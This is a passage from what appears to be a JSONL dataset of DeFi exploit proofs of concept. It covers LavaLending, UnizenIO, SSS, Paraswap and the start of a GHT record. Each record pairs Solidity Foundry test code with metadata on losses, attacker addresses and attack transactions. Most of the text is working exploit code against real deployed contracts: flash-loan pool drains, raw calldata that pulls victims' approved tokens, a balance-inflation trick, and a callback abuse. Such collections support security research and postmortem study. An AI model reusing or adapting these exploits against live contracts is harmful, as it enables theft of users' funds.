(flashId == 2) {\n USDC.approve(address(USDC_USDC_LP), type(uint256).max);\n USDCe.approve(address(USDC_USDC_LP), type(uint256).max);\n USDC_USDC_LP.deposit(1e9, 1e9, 0, 0);\n helper = new Helper();\n WETH.transfer(address(helper), amountOfWETHToTransfer);\n helper.depositAndBorrow();\n\n int256 swapAmount = USDCeToUSDC();\n USDC_USDC_LP.withdraw(USDC_USDC_LP.balanceOf(address(this)));\n\n // First deposit to UniV3Wrapper\n // Following two values are from raw hex values (no calculations found)\n uint256 amount0 = 2_699_999_999_117;\n uint256 amount1 = 2_700_269_999_117;\n uint256 startingAmount0_1 = amount0 * ((1e18 * valueForCalcDepositAmount) / (amount0 + amount1));\n uint256 startingAmount1_1 = amount1 * ((1e18 * valueForCalcDepositAmount) / (amount0 + amount1));\n USDC_USDC_LP.deposit(startingAmount0_1 / 1e18, startingAmount1_1 / 1e18, 0, 0);\n // Second deposit to UniV3Wrapper\n uint256 startingAmount0_2 = 20 * (startingAmount0_1 / 1e18);\n uint256 startingAmount1_2 = 20 * (startingAmount1_1 / 1e18);\n (, uint256 sharesMinted) = USDC_USDC_LP.deposit(startingAmount0_2 / 1000, startingAmount1_2 / 1000, 0, 0);\n USDC_USDC_LP.approve(address(LendingPool), type(uint256).max);\n WETH.approve(address(LendingPool), type(uint256).max);\n\n // Third deposit to Lending Pool\n LendingPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);\n // Fourth deposit to Lending Pool\n LendingPool.deposit(\n address(USDC_USDC_LP), USDC_USDC_LP.balanceOf(address(this)) - sharesMinted, address(this), 0\n );\n\n borrower = new Borrower();\n ausdcUsdcLP.transfer(address(borrower), ausdcUsdcLP.balanceOf(address(this)));\n LendingPool.borrow(address(USDC_USDC_LP), USDC_USDC_LP.balanceOf(address(ausdcUsdcLP)), 2, 0, address(this));\n USDC_USDC_LP.withdraw(USDC_USDC_LP.balanceOf(address(this)));\n USDC_USDCe.flash(address(this), 1_000_000, 0, abi.encode(uint256(1_000_000), uint8(3)));\n\n borrower.borrow();\n USDCToUSDCe(swapAmount);\n USDCe.transfer(address(WETH_USDCe), borrowedAmount + fee1);\n } else if (flashId == 3) {\n USDC.transfer(address(USDC_USDCe), 26_001_000_000);\n }\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n // Flashloan USDCe\n uint256 amountUSDCe = specifiedUSDCeAmount - USDCe.balanceOf(address(this));\n WETH_USDCe.flash(address(this), 0, amountUSDCe, abi.encode(uint256(amountUSDCe), uint8(2)));\n USDC.approve(address(AaveFlashloan), amounts[0] + premiums[0]);\n USDCe.approve(address(AaveFlashloan), amounts[1] + premiums[1]);\n return true;\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n USDC.transfer(address(USDC_USDCe), uint256(amount0Delta));\n } else {\n USDCe.transfer(address(USDC_USDCe), uint256(amount1Delta));\n }\n }\n\n function calcTokenAmount(uint256 aTokenBal, uint256 amount) private pure returns (uint256 tokenAmount) {\n uint256 multipliedBalance = aTokenBal * multiplier;\n tokenAmount = (amount + (multipliedBalance / divisor));\n }\n\n function calcUSDCLPAmount() private view returns (uint256 amountUSDC) {\n (uint256 amount0, uint256 amount1) = USDC_USDC_LP.getAssets();\n uint256 scaledSumOfAmounts = ((amount0 + amount1) * multiplier) / divisor;\n amountUSDC = (12_625 * scaledSumOfAmounts) / 10_000;\n }\n\n function calcWETHAmount() private view returns (uint256 amount) {\n uint256 aUSDCAmount = calcTokenAmount(USDC.balanceOf(aUSDC), 0);\n uint256 aUSDCeAmount = calcTokenAmount(USDCe.balanceOf(aUSDCe), aUSDCAmount);\n uint256 aUSDTAmount = calcTokenAmount(USDT.balanceOf(aUSDT), aUSDCeAmount);\n uint256 aWETHAmount = WETH.balanceOf(aWETH) + aUSDTAmount;\n\n uint256 a = aWETHAmount + ((wstETH.balanceOf(awstETH) * 1159) / 1000);\n uint256 b = (a + calcUSDCLPAmount()) * 100;\n uint256 c = (b / 496) * 100;\n amount = (c * 104) / 100;\n }\n\n function USDCeToUSDC() private returns (int256 amount) {\n (amount,) = USDC_USDCe.swap(address(this), false, int256(specifiedUSDCeAmount), uint160(priceLimitForSwap1), \"\");\n }\n\n function USDCToUSDCe(\n int256 amount\n ) private {\n USDC_USDCe.swap(address(this), true, amount, uint160(priceLimitForSwap2), \"\");\n }\n}\n\ncontract Helper {\n IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);\n IUniV3Wrapper private constant USDC_USDC_LP = IUniV3Wrapper(0x10bdA01aC4E644fD84a04Dab01E15A5eDcEE46dD);\n address private constant ausdcUsdcLP = 0x1e482f0606152890F84dD59617e13EC06581B45a;\n\n function depositAndBorrow() external {\n WETH.approve(address(LendingPool), type(uint256).max);\n LendingPool.deposit(address(WETH), WETH.balanceOf(address(this)), address(this), 0);\n\n uint256 amount = (USDC_USDC_LP.balanceOf(ausdcUsdcLP) * 99) / 100;\n LendingPool.borrow(address(USDC_USDC_LP), amount, 2, 0, address(this));\n USDC_USDC_LP.transfer(msg.sender, amount);\n }\n}\n\ncontract Borrower {\n IERC20 private constant USDCe = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 private constant USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);\n IUSDT private constant USDT = IUSDT(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 private constant wstETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);\n address private constant aUSDCe = 0x16cba9A6a9BB38e339D4250dA0Afd919c6bDBDfE;\n ILendingPoolProxy private constant LendingPool = ILendingPoolProxy(0x403049E886b13E42C149f15450CEB795216cddC6);\n address private constant aUSDC = 0x16Cb622CaE7Ad9fd2b0780b2026ED301414781fE;\n address private constant aUSDT = 0x8Da6Bc74B2534030cD38C996C395B914990fa684;\n address private constant aWETH = 0xec9b99C8262b72d846F0F80fCE76AF7D3c7c6AF6;\n address private constant awstETH = 0xCB1332663a39f238BCD1cc7621E3E24A50251b94;\n\n function borrow() external {\n address[] memory tokens = new address[](5);\n tokens[0] = address(USDCe);\n tokens[1] = address(USDC);\n tokens[2] = address(USDT);\n tokens[3] = address(WETH);\n tokens[4] = address(wstETH);\n\n address[] memory aTokens = new address[](5);\n aTokens[0] = address(aUSDCe);\n aTokens[1] = address(aUSDC);\n aTokens[2] = address(aUSDT);\n aTokens[3] = address(aWETH);\n aTokens[4] = address(awstETH);\n\n for (uint256 i; i < tokens.length; ++i) {\n if (tokens[i] == address(USDT)) {\n LendingPool.borrow(tokens[i], IUSDT(tokens[i]).balanceOf(aTokens[i]), 2, 0, address(this));\n IUSDT(tokens[i]).transfer(msg.sender, IUSDT(tokens[i]).balanceOf(address(this)));\n } else {\n uint256 amount = IERC20(tokens[i]).balanceOf(aTokens[i]);\n LendingPool.borrow(tokens[i], amount, 2, 0, address(this));\n IERC20(tokens[i]).transfer(msg.sender, IERC20(tokens[i]).balanceOf(address(this)));\n }\n }\n }\n}\n", "type": "exploit_poc", "protocol": "LavaLending", "date": "2024-03", "file_name": "LavaLending_exp.sol", "attack_vector": "flash_loan", "content_hash": "74607b27e3c86e3d", "collected_at": "2026-01-07T10:59:16.523765", "_source": "postmortems", "chain": "arbitrum", "block_number": 195240642, "total_lost_raw": "~340K", "total_lost_usd": 340000.0, "attacker_address": "https://arbiscan.io/address/0x851aa754c39bf23cdaac2025367514dfd7530418", "attack_contract": null, "vulnerable_contract": "https://arbiscan.io/address/0x7746872c6892bcfb4254390283719f2bd2d4da76#code", "attack_tx": "https://app.blocksec.com/explorer/tx/arbitrum/0xcb1a2f5eeb1a767ea5ccbc3665351fadc1af135d12a38c504f8f6eb997e9e603", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~340K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDCe balance before attack\", USDCe.balanceOf(address(this)), USDCe.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter wstEth balance before attack\", wstETH.balanceOf(address(this)), wstETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n uint256 amountWETH = calcWETHAmount();\n address[] memory tokens = new address[](3);\n tokens[0] = address(WETH);\n tokens[1] = address(USDC);\n tokens[2] = address(USDCe);\n\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = amountWETH;\n amounts[1] = USDC.balanceOf(address(BalancerVault));\n amounts[2] = USDCe.balanceOf(address(BalancerVault));\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n\n emit log_named_decimal_uint(\n \"Exploiter USDCe balance after attack\", USDCe.balanceOf(address(this)), USDCe.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter wstEth balance after attack\", wstETH.balanceOf(address(this)), wstETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~340K", "keyinfo_attacker": "https://arbiscan.io/address/0x851aa754c39bf23cdaac2025367514dfd7530418", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x7746872c6892bcfb4254390283719f2bd2d4da76#code", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/arbitrum/0xcb1a2f5eeb1a767ea5ccbc3665351fadc1af135d12a38c504f8f6eb997e9e603", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$340.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "LavaLending Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n// @KeyInfo - Total Lost : ~2M USD$\n// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df\n// Vulnerable Contract : (Unizen: Trade Aggregator Proxy) https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd ( one of the transactions)\n\n// @Analysis\n// https://twitter.com/SlowMist_Team/status/1766311510362734824\n// It's an unverified contract.\n\ncontract UniZenIOTest is Test {\n address victim = address(0x7feAeE6094B8B630de3F7202d04C33f3BDC3828a);\n address attacker = address(0x2aD8aed847e8d4D3da52AaBB7d0f5c25729D10df);\n address aggregator_proxy = address(0xd3f64BAa732061F8B3626ee44bab354f854877AC);\n IERC20 DMTR = IERC20(0x51cB253744189f11241becb29BeDd3F1b5384fdB);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_393_769);\n\n emit log_named_uint(\"Before attack, victim DMTR amount (in ether)\", DMTR.balanceOf(victim) / 1 ether);\n emit log_named_uint(\n \"Before attack, victim approved DMTR amount (in ether) on UnizenAggregator\",\n DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether\n );\n }\n\n function testExploit() public {\n vm.startPrank(attacker);\n aggregator_proxy.call{value: 1}(\n hex\"1ef29a02000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000002ad8aed847e8d4d3da52aabb7d0f5c25729d10df000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000297963e6c9965e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000110000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000a554e495a454e2d434c49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007feaee6094b8b630de3f7202d04c33f3bdc3828a000000000000000000000000d3f64baa732061f8b3626ee44bab354f854877ac0000000000000000000000000000000000000000000000023128cfbd15ed72f600000000000000000000000000000000000000000000000000000000\"\n );\n emit log_named_uint(\"After attack, victim DMTR amount (in ether)\", DMTR.balanceOf(victim) / 1 ether);\n emit log_named_uint(\n \"After attack, victim approved DMTR amount (in ether) on UnizenAggregator\",\n DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether\n );\n }\n}\n", "type": "exploit_poc", "protocol": "UnizenIO", "date": "2024-03", "file_name": "UnizenIO_exp.sol", "attack_vector": null, "content_hash": "03c8e5d56ce74589", "collected_at": "2026-01-07T10:59:16.523861", "_source": "postmortems", "chain": "ethereum", "block_number": 19393769, "total_lost_raw": "~2M USD$", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~2M USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n vm.startPrank(attacker);\n aggregator_proxy.call{value: 1}(\n hex\"1ef29a02000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000002ad8aed847e8d4d3da52aabb7d0f5c25729d10df000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000297963e6c9965e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000110000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000a554e495a454e2d434c49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007feaee6094b8b630de3f7202d04c33f3bdc3828a000000000000000000000000d3f64baa732061f8b3626ee44bab354f854877ac0000000000000000000000000000000000000000000000023128cfbd15ed72f600000000000000000000000000000000000000000000000000000000\"\n );\n emit log_named_uint(\"After attack, victim DMTR amount (in ether)\", DMTR.balanceOf(victim) / 1 ether);\n emit log_named_uint(\n \"After attack, victim approved DMTR amount (in ether) on UnizenAggregator\",\n DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2M USD$", "keyinfo_attacker": "https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.00M", "content_richness_score": 6.66, "quality_estimate": "medium", "title": "UnizenIO Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n// @KeyInfo - Total Lost: $4.8M\n// Attacker: 0x6a89a8C67B5066D59BF4D81d59f70C3976faCd0A\n// Attack Contract: 0xDed85d83Bf06069c0bD5AA792234b5015D5410A9\n// Vulnerable Contract: 0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed\n// Attack Tx: https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6\n\n// @Analyses\n// https://twitter.com/SSS_HQ/status/1771054306520867242\n// https://twitter.com/dot_pengun/status/1770989208125272481\n\ninterface ISSS is IERC20 {\n function maxAmountPerTx() external view returns (uint256);\n function burn(\n uint256\n ) external;\n}\n\ncontract SSSExploit is BaseTestWithBalanceLog {\n address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;\n IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));\n ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);\n Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);\n Uni_Pair_V2 private sssPool = Uni_Pair_V2(POOL);\n\n uint256 ethFlashAmt = 1 ether;\n uint256 expectedETHAfter = 1393.20696066122859944 ether;\n\n function setUp() public {\n vm.createSelectFork(\"blast\", 1_110_245);\n WETH.approve(address(ROUTER_V2), type(uint256).max);\n SSS.approve(address(ROUTER_V2), type(uint256).max);\n fundingToken = address(WETH);\n }\n\n function getPath(\n bool buy\n ) internal view returns (address[] memory path) {\n path = new address[](2);\n path[0] = buy ? address(WETH) : address(SSS);\n path[1] = buy ? address(SSS) : address(WETH);\n }\n\n function testExploit() public balanceLog {\n //Emulate flashloan here with deal\n vm.deal(address(this), 0);\n vm.deal(address(this), ethFlashAmt);\n WETH.deposit{value: ethFlashAmt}();\n\n //Buy 1 eth of tokens\n ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ethFlashAmt, 0, getPath(true), address(this), block.timestamp\n );\n\n //Transfer to self until balance reaches target bal\n uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];\n while (SSS.balanceOf(address(this)) < targetBal) {\n SSS.transfer(address(this), SSS.balanceOf(address(this)));\n }\n\n //Burn excess tokens above target to avoid OVERFLOW error on swap on pair\n SSS.burn(SSS.balanceOf(address(this)) - targetBal);\n assertEq(SSS.balanceOf(address(this)), targetBal, \"we exceeded target\");\n\n //Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls\n uint256 tokensLeft = targetBal;\n uint256 maxAmountPerTx = SSS.maxAmountPerTx();\n uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);\n while (tokensLeft > 0) {\n uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;\n SSS.transfer(POOL, toSell);\n tokensLeft -= toSell;\n }\n\n //Use swap function in pool to swap to weth\n uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];\n sssPool.swap(targetETH, 0, address(this), new bytes(0));\n\n //Emulate paying back flashloan\n WETH.transfer(address(1), ethFlashAmt);\n\n assertEq(WETH.balanceOf(address(this)), expectedETHAfter, \"Not expected WETH BAL\");\n assertEq(SSS.balanceOf(address(this)), 0, \"All SSS tokens didn't get sold\");\n }\n}\n", "type": "exploit_poc", "protocol": "SSS", "date": "2024-03", "file_name": "SSS_exp.sol", "attack_vector": "flash_loan", "content_hash": "10d28233711e207a", "collected_at": "2026-01-07T10:59:16.523903", "_source": "postmortems", "chain": "unknown", "block_number": 1110245, "total_lost_raw": "$4.8M", "total_lost_usd": 4800000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "$4.8M", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //Emulate flashloan here with deal\n vm.deal(address(this), 0);\n vm.deal(address(this), ethFlashAmt);\n WETH.deposit{value: ethFlashAmt}();\n\n //Buy 1 eth of tokens\n ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ethFlashAmt, 0, getPath(true), address(this), block.timestamp\n );\n\n //Transfer to self until balance reaches target bal\n uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];\n while (SSS.balanceOf(address(this)) < targetBal) {\n SSS.transfer(address(this), SSS.balanceOf(address(this)));\n }\n\n //Burn excess tokens above target to avoid OVERFLOW error on swap on pair\n SSS.burn(SSS.balanceOf(address(this)) - targetBal);\n assertEq(SSS.balanceOf(address(this)), targetBal, \"we exceeded target\");\n\n //Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls\n uint256 tokensLeft = targetBal;\n uint256 maxAmountPerTx = SSS.maxAmountPerTx();\n uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);\n while (tokensLeft > 0) {\n uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;\n SSS.transfer(POOL, toSell);\n tokensLeft -= toSell;\n }\n\n //Use swap function in pool to swap to weth\n uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];\n sssPool.swap(targetETH, 0, address(this), new bytes(0));\n\n //Emulate paying back flashloan\n WETH.transfer(address(1), ethFlashAmt);\n\n assertEq(WETH.balanceOf(address(this)), expectedETHAfter, \"Not expected WETH BAL\");\n assertEq(SSS.balanceOf(address(this)), 0, \"All SSS tokens didn't get sold\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "$4.8M", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://blastscan.io/tx/0x62e6b906bb5aafdc57c72cd13e20a18d2de3a4a757cd2f24fde6003ce5c9f2c6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4.80M", "content_richness_score": 7.83, "quality_estimate": "medium", "title": "SSS Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$24K\n// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a\n// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0\n// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f47439\n// Attack txs : https://app.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60\n\n// @Analysis\n// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe\n\ninterface IParaSwapAugustusV6 {\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant OPSEC = IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98);\n IERC20 private constant wTAO = IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44);\n IParaSwapAugustusV6 private constant AugustusV6 = IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439);\n // User who had provided approval for Augustus V6 contract\n // Amount of OPSEC will be transferred from this user\n address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_470_560);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(OPSEC), \"OPSEC\");\n vm.label(address(wTAO), \"wTAO\");\n vm.label(address(AugustusV6), \"AugustusV6\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Victim OPSEC balance before attack\", OPSEC.balanceOf(from), OPSEC.decimals());\n\n emit log_named_decimal_uint(\n \"Victim approved OPSEC amount before attack\", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()\n );\n\n // Amount0Delta negative value can be arbitrary up to 0\n int256 amount0Delta = 0;\n // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)\n // Let's try more -> 10 WETH\n int256 amount1Delta = 10e18;\n address to = address(this);\n uint256 fee1 = 3000;\n uint256 fee2 = 10_000;\n bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;\n bytes memory data =\n abi.encode(to, from, address(wTAO), address(WETH), fee1, encodedOPSECAddr, address(WETH), fee2);\n\n AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);\n\n emit log_named_decimal_uint(\n \"Victim OPSEC balance after attack\", OPSEC.balanceOf(address(from)), OPSEC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Victim approved OPSEC amount after attack\", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Paraswap", "date": "2024-03", "file_name": "Paraswap_exp.sol", "attack_vector": null, "content_hash": "0f5dbc7ff3383838", "collected_at": "2026-01-07T10:59:16.523956", "_source": "postmortems", "chain": "ethereum", "block_number": 19470560, "total_lost_raw": "~$24K", "total_lost_usd": 24000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$24K", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\"Victim OPSEC balance before attack\", OPSEC.balanceOf(from), OPSEC.decimals());\n\n emit log_named_decimal_uint(\n \"Victim approved OPSEC amount before attack\", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()\n );\n\n // Amount0Delta negative value can be arbitrary up to 0\n int256 amount0Delta = 0;\n // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)\n // Let's try more -> 10 WETH\n int256 amount1Delta = 10e18;\n address to = address(this);\n uint256 fee1 = 3000;\n uint256 fee2 = 10_000;\n bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;\n bytes memory data =\n abi.encode(to, from, address(wTAO), address(WETH), fee1, encodedOPSECAddr, address(WETH), fee2);\n\n AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);\n\n emit log_named_decimal_uint(\n \"Victim OPSEC balance after attack\", OPSEC.balanceOf(address(from)), OPSEC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Victim approved OPSEC amount after attack\", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$24K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$24.0K", "content_richness_score": 5.66, "quality_estimate": "medium", "title": "Paraswap Exploit (2024-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$57K\n// Attacker : https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3\n// Attack Contract : https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f\n// Vuln Contract : https://etherscan.io/address/0x528e046acfb52bd3f9c400e7a5c79a8a2c2863d0\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68?line=3\ninterface IGHT {\n function transferFrom(address, address, uint256) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface CheatCodesNew {\n /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined 